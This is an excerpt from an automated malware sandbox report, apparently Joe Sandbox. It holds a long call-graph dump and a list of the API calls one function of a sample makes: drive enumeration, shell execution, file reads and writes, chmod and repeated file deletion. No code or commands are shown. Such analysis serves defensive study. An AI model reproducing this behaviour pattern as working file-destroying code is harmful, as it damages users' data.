calls 70409->70410 70411 40229b 70410->70411 70412 4048a4 146 API calls 70411->70412 70413 4022ae 70412->70413 70414 4048a4 146 API calls 70413->70414 70415 4022c1 70414->70415 70417 4048a4 146 API calls 70415->70417 70418 4022d4 70417->70418 70419 4048a4 146 API calls 70418->70419 70420 4022e7 70419->70420 70424 4048a4 146 API calls 70420->70424 70426 4022fa 70424->70426 70428 4048a4 146 API calls 70426->70428 70429 40230d 70428->70429 70433 4048a4 146 API calls 70429->70433 70436 402320 70433->70436 70440 4048a4 146 API calls 70436->70440 70442 402333 70440->70442 70444 4048a4 146 API calls 70442->70444 70447 402346 70444->70447 70449 4048a4 146 API calls 70447->70449 70451 402359 70449->70451 70456 4048a4 146 API calls 70451->70456 70459 40236c 70456->70459 70462 4048a4 146 API calls 70459->70462 70463 40237f 70462->70463 70465 4048a4 146 API calls 70463->70465 70467 402392 70465->70467 70469 4048a4 146 API calls 70467->70469 70470 4023a5 70469->70470 70476 4048a4 146 API calls 70470->70476 70480 4023b8 70476->70480 70483 4048a4 146 API calls 70480->70483 70486 4023cb 70483->70486 70487 4048a4 146 API calls 70486->70487 70490 4023de 70487->70490 70493 4048a4 146 API calls 70490->70493 70495 4023f1 70493->70495 70497 4048a4 146 API calls 70495->70497 70498 402404 70497->70498 70500 4048a4 146 API calls 70498->70500 70501 402417 70500->70501 70504 4048a4 146 API calls 70501->70504 70506 40242a 70504->70506 70508 4048a4 146 API calls 70506->70508 70509 40243d 70508->70509 70510 4048a4 146 API calls 70509->70510 70511 402450 70510->70511 70512 4048a4 146 API calls 70511->70512 70513 402463 70512->70513 70514 4048a4 146 API calls 70513->70514 70515 402476 70514->70515 70516 4048a4 146 API calls 70515->70516 70517 402489 70516->70517 70518 4048a4 146 API calls 70517->70518 70519 40249c 70518->70519 70520 4048a4 146 API calls 70519->70520 70521 4024af 70520->70521 70522 4048a4 146 API calls 70521->70522 70523 4024c2 70522->70523 70524 4048a4 146 API calls 70523->70524 70525 4024d5 70524->70525 70526 4048a4 146 API calls 70525->70526 70527 4024e8 70526->70527 70528 4048a4 146 API calls 70527->70528 70529 4024fb 70528->70529 70530 4048a4 146 API calls 70529->70530 70531 40250e 70530->70531 70532 4048a4 146 API calls 70531->70532 70533 402521 70532->70533 70534 4048a4 146 API calls 70533->70534 70535 402534 70534->70535 70536 4048a4 146 API calls 70535->70536 70537 402547 70536->70537 70538 4048a4 146 API calls 70537->70538 70539 40255a 70538->70539 70540 4048a4 146 API calls 70539->70540 70541 40256d 70540->70541 70542 4048a4 146 API calls 70541->70542 70543 402580 70542->70543 70544 4048a4 146 API calls 70543->70544 70545 402593 70544->70545 70546 4048a4 146 API calls 70545->70546 70547 4025a6 70546->70547 70548 4048a4 146 API calls 70547->70548 70549 4025b9 70548->70549 70550 4048a4 146 API calls 70549->70550 70551 4025cc 70550->70551 70552 4048a4 146 API calls 70551->70552 70553 4025df 70552->70553 70554 4048a4 146 API calls 70553->70554 70555 4025f2 70554->70555 70556 4048a4 146 API calls 70555->70556 70557 402605 70556->70557 70558 4048a4 146 API calls 70557->70558 70559 402618 70558->70559 70560 4048a4 146 API calls 70559->70560 70561 40262b 70560->70561 70562 4048a4 146 API calls 70561->70562 70563 40263e 70562->70563 70564 4048a4 146 API calls 70563->70564 70565 402651 70564->70565 70566 4048a4 146 API calls 70565->70566 70567 402664 70566->70567 70568 4048a4 146 API calls 70567->70568 70569 402677 70568->70569 70570 4048a4 146 API calls 70569->70570 70571 40268a 70570->70571 70572 4048a4 146 API calls 70571->70572 70573 40269d 70572->70573 70574 4048a4 146 API calls 70573->70574 70575 4026b0 70574->70575 70576 4048a4 146 API calls 70575->70576 70577 4026c3 70576->70577 70578 4048a4 146 API calls 70577->70578 70579 4026d6 70578->70579 70580 4048a4 146 API calls 70579->70580 70581 4026e9 70580->70581 70582 4048a4 146 API calls 70581->70582 70583 4026fc 70582->70583 70584 4048a4 146 API calls 70583->70584 70585 40270f 70584->70585 70586 4048a4 146 API calls 70585->70586 70587 402722 70586->70587 70588 4048a4 146 API calls 70587->70588 70589 402735 70588->70589 70590 4048a4 146 API calls 70589->70590 70591 402748 70590->70591 70592 4048a4 146 API calls 70591->70592 70593 40275b 70592->70593 70594 4048a4 146 API calls 70593->70594 70595 40276e 70594->70595 70596 4048a4 146 API calls 70595->70596 70597 402781 70596->70597 70598 4048a4 146 API calls 70597->70598 70599 402794 70598->70599 70600 4048a4 146 API calls 70599->70600 70601 4027a7 70600->70601 70602 4048a4 146 API calls 70601->70602 70603 4027ba 70602->70603 70604 4048a4 146 API calls 70603->70604 70605 4027cd 70604->70605 70606 4048a4 146 API calls 70605->70606 70607 4027e0 70606->70607 70608 4048a4 146 API calls 70607->70608 70609 4027f3 70608->70609 70610 4048a4 146 API calls 70609->70610 70611 402806 70610->70611 70612 4048a4 146 API calls 70611->70612 70613 402819 70612->70613 70614 4048a4 146 API calls 70613->70614 70615 40282c 70614->70615 70616 4048a4 146 API calls 70615->70616 70617 40283f 70616->70617 70618 4048a4 146 API calls 70617->70618 70619 402852 70618->70619 70620 4048a4 146 API calls 70619->70620 70621 402865 70620->70621 70622 4048a4 146 API calls 70621->70622 70623 402878 70622->70623 70624 4048a4 146 API calls 70623->70624 70625 40288b 70624->70625 70626 4048a4 146 API calls 70625->70626 70627 40289e 70626->70627 70628 4048a4 146 API calls 70627->70628 70629 4028b1 70628->70629 70630 4048a4 146 API calls 70629->70630 70631 4028c4 70630->70631 70632 4048a4 146 API calls 70631->70632 70633 4028d7 70632->70633 70634 4048a4 146 API calls 70633->70634 70635 4028ea 70634->70635 70636 4048a4 146 API calls 70635->70636 70637 4028fd 70636->70637 70638 4048a4 146 API calls 70637->70638 70639 402910 70638->70639 70640 4048a4 146 API calls 70639->70640 70641 402923 70640->70641 70642 4048a4 146 API calls 70641->70642 70643 402936 70642->70643 70644 4048a4 146 API calls 70643->70644 70645 402949 70644->70645 70646 4048a4 146 API calls 70645->70646 70647 40295c 70646->70647 70648 4048a4 146 API calls 70647->70648 70649 40296f 70648->70649 70650 4048a4 146 API calls 70649->70650 70651 402982 70650->70651 70652 4048a4 146 API calls 70651->70652 70653 402995 70652->70653 70654 4048a4 146 API calls 70653->70654 70655 4029a8 70654->70655 70656 4048a4 146 API calls 70655->70656 70657 4029bb 70656->70657 70658 4048a4 146 API calls 70657->70658 70659 4029ce 70658->70659 70660 4048a4 146 API calls 70659->70660 70661 4029e1 70660->70661 70662 4048a4 146 API calls 70661->70662 70663 4029f4 70662->70663 70664 4048a4 146 API calls 70663->70664 70665 402a07 70664->70665 70666 4048a4 146 API calls 70665->70666 70667 402a1a 70666->70667 70668 4048a4 146 API calls 70667->70668 70669 402a2d 70668->70669 70670 4048a4 146 API calls 70669->70670 70671 402a40 70670->70671 70672 4048a4 146 API calls 70671->70672 70673 402a53 70672->70673 70674 4048a4 146 API calls 70673->70674 70675 402a66 70674->70675 70676 4048a4 146 API calls 70675->70676 70677 402a79 70676->70677 70678 4048a4 146 API calls 70677->70678 70679 402a8c 70678->70679 70680 4048a4 146 API calls 70679->70680 70681 402a9f 70680->70681 70682 4048a4 146 API calls 70681->70682 70683 402ab2 70682->70683 70684 4048a4 146 API calls 70683->70684 70685 402ac5 70684->70685 70686 4048a4 146 API calls 70685->70686 70687 402ad8 70686->70687 70688 4048a4 146 API calls 70687->70688 70689 402aeb 70688->70689 70690 4048a4 146 API calls 70689->70690 70691 402afe 70690->70691 70692 4048a4 146 API calls 70691->70692 70693 402b11 70692->70693 70694 4048a4 146 API calls 70693->70694 70695 402b24 70694->70695 70696 4048a4 146 API calls 70695->70696 70697 402b37 70696->70697 70698 4048a4 146 API calls 70697->70698 70699 402b4a 70698->70699 70700 4048a4 146 API calls 70699->70700 70701 402b5d 70700->70701 70702 4048a4 146 API calls 70701->70702 70703 402b70 70702->70703 70704 4048a4 146 API calls 70703->70704 70705 402b83 70704->70705 70706 4048a4 146 API calls 70705->70706 70707 402b96 70706->70707 70708 4048a4 146 API calls 70707->70708 70709 402ba9 70708->70709 70710 4048a4 146 API calls 70709->70710 70711 402bbc 70710->70711 70712 4048a4 146 API calls 70711->70712 70713 402bcf 70712->70713 70714 4048a4 146 API calls 70713->70714 70715 402be2 70714->70715 70716 4048a4 146 API calls 70715->70716 70717 402bf5 70716->70717 70718 4048a4 146 API calls 70717->70718 70719 402c08 70718->70719 70720 4048a4 146 API calls 70719->70720 70721 402c1b 70720->70721 70722 4048a4 146 API calls 70721->70722 70723 402c2e 70722->70723 70724 4048a4 146 API calls 70723->70724 70725 402c41 70724->70725 70726 4048a4 146 API calls 70725->70726 70727 402c54 70726->70727 70728 4048a4 146 API calls 70727->70728 70729 402c67 70728->70729 70730 4048a4 146 API calls 70729->70730 70731 402c7a 70730->70731 70732 4048a4 146 API calls 70731->70732 70733 402c8d 70732->70733 70734 4048a4 146 API calls 70733->70734 70735 402ca0 70734->70735 70736 4048a4 146 API calls 70735->70736 70737 402cb3 70736->70737 70738 4048a4 146 API calls 70737->70738 70739 402cc6 70738->70739 70740 4048a4 146 API calls 70739->70740 70741 402cd9 70740->70741 70742 4048a4 146 API calls 70741->70742 70743 402cec 70742->70743 70744 4048a4 146 API calls 70743->70744 70745 402cff 70744->70745 70746 4048a4 146 API calls 70745->70746 70747 402d12 70746->70747 70748 4048a4 146 API calls 70747->70748 70749 402d25 70748->70749 70750 4048a4 146 API calls 70749->70750 70751 402d38 70750->70751 70752 4048a4 146 API calls 70751->70752 70753 402d4b 70752->70753 70754 4048a4 146 API calls 70753->70754 70755 402d5e 70754->70755 70756 4048a4 146 API calls 70755->70756 70757 402d71 70756->70757 70758 4048a4 146 API calls 70757->70758 70759 402d84 70758->70759 70760 4048a4 146 API calls 70759->70760 70761 402d97 70760->70761 70762 4048a4 146 API calls 70761->70762 70763 402daa 70762->70763 70764 4048a4 146 API calls 70763->70764 70765 402dbd 70764->70765 70766 4048a4 146 API calls 70765->70766 70767 402dd0 70766->70767 70768 4048a4 146 API calls 70767->70768 70769 402de3 70768->70769 70770 4048a4 146 API calls 70769->70770 70771 402df6 70770->70771 70772 4048a4 146 API calls 70771->70772 70773 402e09 70772->70773 70774 4048a4 146 API calls 70773->70774 70775 402e1c 70774->70775 70776 4048a4 146 API calls 70775->70776 70777 402e2f 70776->70777 70778 4048a4 146 API calls 70777->70778 70779 402e42 70778->70779 70780 4048a4 146 API calls 70779->70780 70781 402e55 70780->70781 70782 4048a4 146 API calls 70781->70782 70783 402e68 70782->70783 70784 4048a4 146 API calls 70783->70784 70785 402e7b 70784->70785 70786 4048a4 146 API calls 70785->70786 70787 402e8e 70786->70787 70788 4048a4 146 API calls 70787->70788 70789 402ea1 70788->70789 70790 4048a4 146 API calls 70789->70790 70791 402eb4 70790->70791 70792 4048a4 146 API calls 70791->70792 70793 402ec7 70792->70793 70794 4048a4 146 API calls 70793->70794 70795 402eda 70794->70795 70796 4048a4 146 API calls 70795->70796 70797 402eed 70796->70797 70798 4048a4 146 API calls 70797->70798 70799 402f00 70798->70799 70800 4048a4 146 API calls 70799->70800 70801 402f13 70800->70801 70802 4048a4 146 API calls 70801->70802 70803 402f26 70802->70803 70804 4048a4 146 API calls 70803->70804 70805 402f39 70804->70805 70806 4048a4 146 API calls 70805->70806 70807 402f4c 70806->70807 70808 4048a4 146 API calls 70807->70808 70809 402f5f 70808->70809 70810 4048a4 146 API calls 70809->70810 70811 402f72 70810->70811 70812 4048a4 146 API calls 70811->70812 70813 402f85 70812->70813 70814 4048a4 146 API calls 70813->70814 70815 402f98 70814->70815 70816 4048a4 146 API calls 70815->70816 70817 402fab 70816->70817 70818 4048a4 146 API calls 70817->70818 70819 402fbe 70818->70819 70820 4048a4 146 API calls 70819->70820 70821 402fd1 70820->70821 70822 4048a4 146 API calls 70821->70822 70823 402fe4 70822->70823 70824 4048a4 146 API calls 70823->70824 70825 402ff7 70824->70825 70826 4048a4 146 API calls 70825->70826 70827 40300a 70826->70827 70828 4048a4 146 API calls 70827->70828 70829 40301d 70828->70829 70830 4048a4 146 API calls 70829->70830 70831 403030 70830->70831 70832 4048a4 146 API calls 70831->70832 70833 403043 70832->70833 70834 4048a4 146 API calls 70833->70834 70835 403056 70834->70835 70836 4048a4 146 API calls 70835->70836 70837 403069 70836->70837 70838 4048a4 146 API calls 70837->70838 70839 40307c 70838->70839 70840 4048a4 146 API calls 70839->70840 70841 40308f 70840->70841 70842 4048a4 146 API calls 70841->70842 70843 4030a2 70842->70843 70844 4048a4 146 API calls 70843->70844 70845 4030b5 70844->70845 70846 4048a4 146 API calls 70845->70846 70847 4030c8 70846->70847 70848 4048a4 146 API calls 70847->70848 70849 4030db 70848->70849 70850 4048a4 146 API calls 70849->70850 70851 4030ee 70850->70851 70852 4048a4 146 API calls 70851->70852 70853 403101 70852->70853 70854 4048a4 146 API calls 70853->70854 70855 403114 70854->70855 70856 4048a4 146 API calls 70855->70856 70857 403127 70856->70857 70858 4048a4 146 API calls 70857->70858 70859 40313a 70858->70859 70860 4048a4 146 API calls 70859->70860 70861 40314d 70860->70861 70862 4048a4 146 API calls 70861->70862 70863 403160 70862->70863 70864 4048a4 146 API calls 70863->70864 70865 403173 70864->70865 70866 4048a4 146 API calls 70865->70866 70867 403186 70866->70867 70868 4048a4 146 API calls 70867->70868 70869 403199 70868->70869 70870 4048a4 146 API calls 70869->70870 70871 4031ac 70870->70871 70872 4048a4 146 API calls 70871->70872 70873 4031bf 70872->70873 70874 4048a4 146 API calls 70873->70874 70875 4031d2 70874->70875 70876 4048a4 146 API calls 70875->70876 70877 4031e5 70876->70877 70878 4048a4 146 API calls 70877->70878 70879 4031f8 70878->70879 70880 4048a4 146 API calls 70879->70880 70881 40320b 70880->70881 70882 4048a4 146 API calls 70881->70882 70883 40321e 70882->70883 70884 4048a4 146 API calls 70883->70884 70885 403231 70884->70885 70886 4048a4 146 API calls 70885->70886 70887 403244 70886->70887 70888 4048a4 146 API calls 70887->70888 70889 403257 70888->70889 70890 4048a4 146 API calls 70889->70890 70891 40326a 70890->70891 70892 4048a4 146 API calls 70891->70892 70893 40327d 70892->70893 70894 4048a4 146 API calls 70893->70894 70895 403290 70894->70895 70896 4048a4 146 API calls 70895->70896 70897 4032a3 70896->70897 70898 4048a4 146 API calls 70897->70898 70899 4032b6 70898->70899 70900 4048a4 146 API calls 70899->70900 70901 4032c9 70900->70901 70902 4048a4 146 API calls 70901->70902 70903 4032dc 70902->70903 70904 4048a4 146 API calls 70903->70904 70905 4032ef 70904->70905 70906 4048a4 146 API calls 70905->70906 70907 403302 70906->70907 70908 4048a4 146 API calls 70907->70908 70909 403315 70908->70909 70910 4048a4 146 API calls 70909->70910 70911 403328 70910->70911 70912 4048a4 146 API calls 70911->70912 70913 40333b 70912->70913 70914 4048a4 146 API calls 70913->70914 70915 40334e 70914->70915 70916 4048a4 146 API calls 70915->70916 70917 403361 70916->70917 70918 4048a4 146 API calls 70917->70918 70919 403374 70918->70919 70920 4048a4 146 API calls 70919->70920 70921 403387 70920->70921 70922 4048a4 146 API calls 70921->70922 70923 40339a 70922->70923 70924 4048a4 146 API calls 70923->70924 70925 4033ad 70924->70925 70926 4048a4 146 API calls 70925->70926 70927 4033c0 70926->70927 70928 4048a4 146 API calls 70927->70928 70929 4033d3 70928->70929 70930 4048a4 146 API calls 70929->70930 70931 4033e6 70930->70931 70932 4048a4 146 API calls 70931->70932 70933 4033f9 70932->70933 70934 4048a4 146 API calls 70933->70934 70935 40340c 70934->70935 70936 4048a4 146 API calls 70935->70936 70937 40341f 70936->70937 70938 4048a4 146 API calls 70937->70938 70939 403432 70938->70939 70940 4048a4 146 API calls 70939->70940 70941 403445 70940->70941 70942 4048a4 146 API calls 70941->70942 70943 403458 70942->70943 70944 4048a4 146 API calls 70943->70944 70945 40346b 70944->70945 70946 4048a4 146 API calls 70945->70946 70947 40347e 70946->70947 70948 4048a4 146 API calls 70947->70948 70949 403491 70948->70949 70950 4048a4 146 API calls 70949->70950 70951 4034a4 70950->70951 70952 4048a4 146 API calls 70951->70952 70953 4034b7 70952->70953 70954 4048a4 146 API calls 70953->70954 70955 4034ca 70954->70955 70956 4048a4 146 API calls 70955->70956 70957 4034dd 70956->70957 70958 4048a4 146 API calls 70957->70958 70959 4034f0 70958->70959 70960 4048a4 146 API calls 70959->70960 70961 403503 70960->70961 70962 4048a4 146 API calls 70961->70962 70963 403516 70962->70963 70964 4048a4 146 API calls 70963->70964 70965 403529 70964->70965 70966 4048a4 146 API calls 70965->70966 70967 40353c 70966->70967 70968 4048a4 146 API calls 70967->70968 70969 40354f 70968->70969 70970 4048a4 146 API calls 70969->70970 70971 403562 70970->70971 70972 4048a4 146 API calls 70971->70972 70973 403575 70972->70973 70974 4048a4 146 API calls 70973->70974 70975 403588 70974->70975 70976 4048a4 146 API calls 70975->70976 70977 40359b 70976->70977 70978 4048a4 146 API calls 70977->70978 70979 4035ae 70978->70979 70980 4048a4 146 API calls 70979->70980 70981 4035c1 70980->70981 70982 4048a4 146 API calls 70981->70982 70983 4035d4 70982->70983 70984 4048a4 146 API calls 70983->70984 70985 4035e7 70984->70985 70986 4048a4 146 API calls 70985->70986 70987 4035fa 70986->70987 70988 4048a4 146 API calls 70987->70988 70989 40360d 70988->70989 70990 4048a4 146 API calls 70989->70990 70991 403620 70990->70991 70992 4048a4 146 API calls 70991->70992 70993 403633 70992->70993 70994 4048a4 146 API calls 70993->70994 70995 403646 70994->70995 70996 4048a4 146 API calls 70995->70996 70997 403659 70996->70997 70998 4048a4 146 API calls 70997->70998 70999 40366c 70998->70999 71000 4048a4 146 API calls 70999->71000 71001 40367f 71000->71001 71002 4048a4 146 API calls 71001->71002 71003 403692 71002->71003 71004 4048a4 146 API calls 71003->71004 71005 4036a5 71004->71005 71006 4048a4 146 API calls 71005->71006 71007 4036b8 71006->71007 71008 4048a4 146 API calls 71007->71008 71009 4036cb 71008->71009 71010 4048a4 146 API calls 71009->71010 71011 4036de 71010->71011 71012 4048a4 146 API calls 71011->71012 71013 4036f1 71012->71013 71014 4048a4 146 API calls 71013->71014 71015 403704 71014->71015 71016 4048a4 146 API calls 71015->71016 71017 403717 71016->71017 71018 4048a4 146 API calls 71017->71018 71019 40372a 71018->71019 71020 4048a4 146 API calls 71019->71020 71021 40373d 71020->71021 71022 4048a4 146 API calls 71021->71022 71023 403750 71022->71023 71024 4048a4 146 API calls 71023->71024 71025 403763 71024->71025 71026 4048a4 146 API calls 71025->71026 71027 403776 71026->71027 71028 4048a4 146 API calls 71027->71028 71029 403789 71028->71029 71030 4048a4 146 API calls 71029->71030 71031 40379c 71030->71031 71032 4048a4 146 API calls 71031->71032 71033 4037af 71032->71033 71034 4048a4 146 API calls 71033->71034 71035 4037c2 71034->71035 71036 4048a4 146 API calls 71035->71036 71037 4037d5 71036->71037 71038 4048a4 146 API calls 71037->71038 71039 4037e8 71038->71039 71040 4048a4 146 API calls 71039->71040 71041 4037fb 71040->71041 71042 4048a4 146 API calls 71041->71042 71043 40380e 71042->71043 71044 4048a4 146 API calls 71043->71044 71045 403821 71044->71045 71046 4048a4 146 API calls 71045->71046 71047 403834 71046->71047 71048 4048a4 146 API calls 71047->71048 71049 403847 71048->71049 71050 4048a4 146 API calls 71049->71050 71051 40385a 71050->71051 71052 4048a4 146 API calls 71051->71052 71053 40386d 71052->71053 71054 4048a4 146 API calls 71053->71054 71055 403880 71054->71055 71056 4048a4 146 API calls 71055->71056 71057 403893 71056->71057 71058 4048a4 146 API calls 71057->71058 71059 4038a6 71058->71059 71060 4048a4 146 API calls 71059->71060 71061 4038b9 71060->71061 71062 4048a4 146 API calls 71061->71062 71063 4038cc 71062->71063 71064 4048a4 146 API calls 71063->71064 71065 4038df 71064->71065 71066 4048a4 146 API calls 71065->71066 71067 4038f2 71066->71067 71068 4048a4 146 API calls 71067->71068 71069 403905 71068->71069 71070 4048a4 146 API calls 71069->71070 71071 403918 71070->71071 71072 4048a4 146 API calls 71071->71072 71073 40392b 71072->71073 71074 4048a4 146 API calls 71073->71074 71075 40393e 71074->71075 71076 4048a4 146 API calls 71075->71076 71077 403951 71076->71077 71078 4048a4 146 API calls 71077->71078 71079 403964 71078->71079 71080 4048a4 146 API calls 71079->71080 71081 403977 71080->71081 71082 4048a4 146 API calls 71081->71082 71083 40398a 71082->71083 71084 4048a4 146 API calls 71083->71084 71085 40399d 71084->71085 71086 4048a4 146 API calls 71085->71086 71087 4039b0 71086->71087 71088 4048a4 146 API calls 71087->71088 71089 4039c3 71088->71089 71090 4048a4 146 API calls 71089->71090 71091 4039d6 71090->71091 71092 4048a4 146 API calls 71091->71092 71093 4039e9 71092->71093 71094 4048a4 146 API calls 71093->71094 71095 4039fc 71094->71095 71096 4048a4 146 API calls 71095->71096 71097 403a0f 71096->71097 71098 4048a4 146 API calls 71097->71098 71099 403a22 71098->71099 71100 4048a4 146 API calls 71099->71100 71101 403a35 71100->71101 71102 4048a4 146 API calls 71101->71102 71103 403a48 71102->71103 71104 4048a4 146 API calls 71103->71104 71105 403a5b 71104->71105 71106 4048a4 146 API calls 71105->71106 71107 403a6e 71106->71107 71108 4048a4 146 API calls 71107->71108 71109 403a81 71108->71109 71110 4048a4 146 API calls 71109->71110 71111 403a94 71110->71111 71112 4048a4 146 API calls 71111->71112 71113 403aa7 71112->71113 71114 4048a4 146 API calls 71113->71114 71115 403aba 71114->71115 71116 4048a4 146 API calls 71115->71116 71117 403acd 71116->71117 71118 4048a4 146 API calls 71117->71118 71119 403ae0 71118->71119 71120 4048a4 146 API calls 71119->71120 71121 403af3 71120->71121 71122 4048a4 146 API calls 71121->71122 71123 403b06 71122->71123 71124 4048a4 146 API calls 71123->71124 71125 403b19 71124->71125 71126 4048a4 146 API calls 71125->71126 71127 403b2c 71126->71127 71128 4048a4 146 API calls 71127->71128 71129 403b45 71128->71129 71130 4048a4 146 API calls 71129->71130 71131 403b58 71130->71131 71132 404a24 4 API calls 71131->71132 71133 403b5e 71132->71133 71134 404a24 4 API calls 71133->71134 71135 403b69 71134->71135 71194 544870 192 API calls 71135->71194 71137 403b8b 71195 544870 192 API calls 71137->71195 71139 403ba9 71196 542b00 192 API calls 71139->71196 71142 404841 71141->71142 71144 404845 71141->71144 71143 404898 71142->71143 71142->71144 71152 56a1d0 146 API calls 71143->71152 71147 404866 71144->71147 71151 553200 146 API calls 71144->71151 71147->70192 71148 4048a4 71149 40482c 146 API calls 71148->71149 71150 4048da 71149->71150 71150->70192 71151->71147 71152->71148 71215 551630 71153->71215 71156 551d50 strlen 71157 551d88 71156->71157 71158 551d6f 71156->71158 71232 56a450 146 API calls 71157->71232 71225 5530b0 71158->71225 71165 553c20 71166 553c84 71165->71166 71168 553c3a 71165->71168 71234 553150 147 API calls 71166->71234 71168->70206 71235 552f10 148 API calls 71169->71235 71171 56e06e 71172 56e0b1 71171->71172 71173 56e07d 71171->71173 71236 56a450 146 API calls 71172->71236 71175 5530b0 150 API calls 71173->71175 71176 56e08e 71175->71176 71177 5530b0 150 API calls 71176->71177 71180 4016d1 71177->71180 71180->70210 71187 550ed9 71186->71187 71187->70222 71189 404a5c 71188->71189 71190 404a62 rand 71189->71190 71190->71190 71191 404a7f 71190->71191 71191->70300 71192->70300 71193->70300 71194->71137 71195->71139 71196->70308 71197->70308 71198->70308 71199->70323 71200->70326 71201->70332 71202->70336 71203->70340 71204->70344 71205->70350 71206->70354 71207->70385 71208->70389 71209->70394 71210->70397 71211->70402 71212->70405 71214->70308 71216 551644 71215->71216 71217 551654 71215->71217 71216->71217 71223 56a1d0 146 API calls 71216->71223 71219 55165f 71217->71219 71224 553200 146 API calls 71217->71224 71220 401668 71219->71220 71222 5516a2 memcpy 71219->71222 71220->71156 71222->71220 71223->71217 71224->71219 71226 5530cb 71225->71226 71227 5530d2 71226->71227 71228 553100 71226->71228 71229 401677 71227->71229 71231 553125 memcpy 71227->71231 71233 553280 149 API calls 71228->71233 71229->71165 71231->71229 71233->71229 71234->71168 71235->71171

        Executed Functions

        Function 00401630, Relevance: 792.0, APIs: 40, Strings: 411, Instructions: 2747
        APIs
          • Part of subcall function 00551D50: strlen.MSVCRT ref: 00551D5E
        • CreateDirectoryA.KERNELBASE(00000000,00000001,?,?,?,0CA30061,00000001,?,005715BA,?,00000000), ref: 004016A3
        • Sleep.KERNELBASE(00000000,00000000,?,005715BA,?,00000000), ref: 004016B2
          • Part of subcall function 0056E030: strlen.MSVCRT ref: 0056E045
        • system.MSVCRT ref: 00401745
        • system.MSVCRT ref: 00401765
        • GetLogicalDriveStringsA.KERNEL32(00000000,00000000), ref: 00401782
          • Part of subcall function 00404A24: Sleep.KERNELBASE(005715BA), ref: 00404A35
          • Part of subcall function 00404A24: time.MSVCRT ref: 00404A43
          • Part of subcall function 00404A24: srand.MSVCRT ref: 00404A4B
          • Part of subcall function 00404A24: rand.MSVCRT ref: 00404A62
        • GetDriveTypeA.KERNELBASE ref: 004017B5
          • Part of subcall function 00570390: malloc.MSVCRT ref: 005703A5
          • Part of subcall function 00570390: malloc.MSVCRT ref: 00570406
        • lstrlenA.KERNEL32(00000000,?,?,?), ref: 004018F4
          • Part of subcall function 00404972: _popen.MSVCRT ref: 0040499B
          • Part of subcall function 00404972: feof.MSVCRT ref: 004049D7
          • Part of subcall function 00404972: fgets.MSVCRT ref: 004049F5
          • Part of subcall function 0056AE60: memchr.MSVCRT ref: 0056AFCB
          • Part of subcall function 004F3DD0: strlen.MSVCRT ref: 004F3DDE
        • ShellExecuteExA.SHELL32 ref: 00401DFC
        • WaitForSingleObject.KERNEL32 ref: 00401E14
        • GetSystemWindowsDirectoryA.KERNEL32(?), ref: 00401E38
        • tolower.MSVCRT ref: 00401E90
        • tolower.MSVCRT ref: 00403C63
          • Part of subcall function 004048E5: memcmp.MSVCRT ref: 0040490B
        • remove.MSVCRT(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00403D4B
        • time.MSVCRT ref: 00403DB5
        • srand.MSVCRT ref: 00403DDC
        • rand.MSVCRT ref: 00403DE1
          • Part of subcall function 004053C0: strlen.MSVCRT ref: 00405407
        • malloc.MSVCRT ref: 00403F67
        • fopen.MSVCRT ref: 00403FCD
        • fwrite.MSVCRT ref: 00403FF1
        • fclose.MSVCRT ref: 00403FFF
          • Part of subcall function 0056D960: strlen.MSVCRT ref: 0056D974
        • system.MSVCRT ref: 004044C7
          • Part of subcall function 004F4630: strlen.MSVCRT ref: 004F4643
          • Part of subcall function 004F4630: memcmp.MSVCRT ref: 004F4662
        • fopen.MSVCRT ref: 00404136
        • fopen.MSVCRT ref: 0040417C
        • malloc.MSVCRT ref: 004041BE
        • malloc.MSVCRT ref: 0040420E
        • fwrite.MSVCRT ref: 00404232
        • fread.MSVCRT ref: 0040425C
        • fwrite.MSVCRT ref: 004042BB
        • fwrite.MSVCRT ref: 0040431C
        • free.MSVCRT(00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00404324
        • free.MSVCRT(00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00404332
        • fclose.MSVCRT ref: 00404346
        • fclose.MSVCRT ref: 00404354
        • remove.MSVCRT(00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00404398
        • _chmod.MSVCRT ref: 004043B0
        • remove.MSVCRT(?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 004043C0
        • remove.MSVCRT(00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 004043D0
        • remove.MSVCRT(?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004043F4
        • system.MSVCRT ref: 004044A7
        • system.MSVCRT ref: 0040456B
          • Part of subcall function 004F3C90: strlen.MSVCRT ref: 004F3C9E
          • Part of subcall function 004F4240: strlen.MSVCRT ref: 004F424E
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00401630, Relevance: 783.2, APIs: 40, Strings: 406, Instructions: 2747
        APIs
          • Part of subcall function 00551D50: strlen.MSVCRT ref: 00551D5E
        • CreateDirectoryA.KERNELBASE(00000000,00000001,?,?,?,0CA30061,00000001,?,005715BA,?,00000000), ref: 004016A3
        • Sleep.KERNELBASE(00000000,00000000,?,005715BA,?,00000000), ref: 004016B2
          • Part of subcall function 0056E030: strlen.MSVCRT ref: 0056E045
        • system.MSVCRT ref: 00401745
        • system.MSVCRT ref: 00401765
        • GetLogicalDriveStringsA.KERNEL32(00000000,00000000), ref: 00401782
          • Part of subcall function 00404A24: Sleep.KERNELBASE(005715BA), ref: 00404A35
          • Part of subcall function 00404A24: time.MSVCRT ref: 00404A43
          • Part of subcall function 00404A24: srand.MSVCRT ref: 00404A4B
          • Part of subcall function 00404A24: rand.MSVCRT ref: 00404A62
        • GetDriveTypeA.KERNELBASE ref: 004017B5
          • Part of subcall function 00570390: malloc.MSVCRT ref: 005703A5
          • Part of subcall function 00570390: malloc.MSVCRT ref: 00570406
        • lstrlenA.KERNEL32(00000000,?,?,?), ref: 004018F4
          • Part of subcall function 00404972: _popen.MSVCRT ref: 0040499B
